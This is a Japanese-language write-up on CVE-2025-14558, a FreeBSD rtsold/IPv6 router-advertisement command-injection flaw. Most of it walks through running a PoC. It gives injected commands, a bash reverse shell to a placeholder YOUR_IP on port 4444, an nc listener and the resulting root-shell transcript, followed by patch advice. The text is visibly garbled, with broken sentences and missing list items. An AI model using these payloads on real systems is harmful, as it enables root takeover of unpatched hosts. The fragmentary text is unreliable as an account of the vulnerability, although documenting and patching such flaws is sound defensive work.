
CVE-2025-14558
CVE-2025-14558 は、IPv6 ルーター要請サービスを使用する FreeBSD システムに影響を与える 深刻なリモートコード実行 (RCE) 脆弱性です。信頼できないネットワーク入力の処理方法の欠陥により、攻撃者が任意のシェルコマンドを実行できるようになります。
rtsol(8)rtsold(8)resolvconf(8) に 安全でない方法で 渡されます悪用に成功した場合、攻撃者は以下が可能です:
強く推奨される対策:
rtsol / rtsold を無効にする信頼できないネットワーク上で IPv6 ルーターアドバタイズメントをリッスンしている FreeBSD システムはすべて高いリスクにさらされています。 すぐにパッチを適用するか、影響を受けるサービスを無効にしてください。
CVE-2025-14558 の PoC スクリプトが脆弱な FreeBSD システム(パッチ未適用、rtsold が実行中で IPv6 RA メッセージを処理している)で正常に動作した場合:
rtsold は root で動作し、悪意のあるドメインを含む /sbin/resolvconf を呼び出すため)。--command "id > /tmp/pwned" のような単純なテストの場合:
次のような出力を含むファイル /tmp/pwned が作成されます:
uid=0(root) gid=0(wheel) groups=0(wheel)
--command "touch /tmp/exploit_success" の場合:
/tmp/exploit_success が出現します。--command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1" のようなリバースシェルの場合:
ターゲットで以下のようなコマンドで確認します:
ls -l /tmp/pwned
cat /tmp/pwned
スクリプトは以下のように出力します:
[+] Sending malicious RA on eth0
[+] Injected command: id > /tmp/pwned
[+] Target must run vulnerable rtsold and process the RA
[+] Done. Check target for execution (e.g. /tmp/pwned)
リバースシェルの場合:成功すると、nc -lvnp 4444 が接続を受け取り、root シェルを取得します:
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
bash: cannot set terminal process groups: No job control in this shell
bash: no job control in this shell
root@vulnerable-host:~ #
(これで root シェルを取得しました – id、whoami などのコマンドを入力できます)
rtsold が実行されていない、同じ L2 ネットワーク上にいない、ファイアウォールが RA をブロックしている、または IPv6 が無効になっている。これは、脆弱な(2025年12月16日のパッチ適用前の)FreeBSD システム上での管理されたラボでのみ観察可能です。2025年12月23日時点で、実際の環境での公開エクスプロイト報告はありません。本番環境では直ちにパッチを適用してください。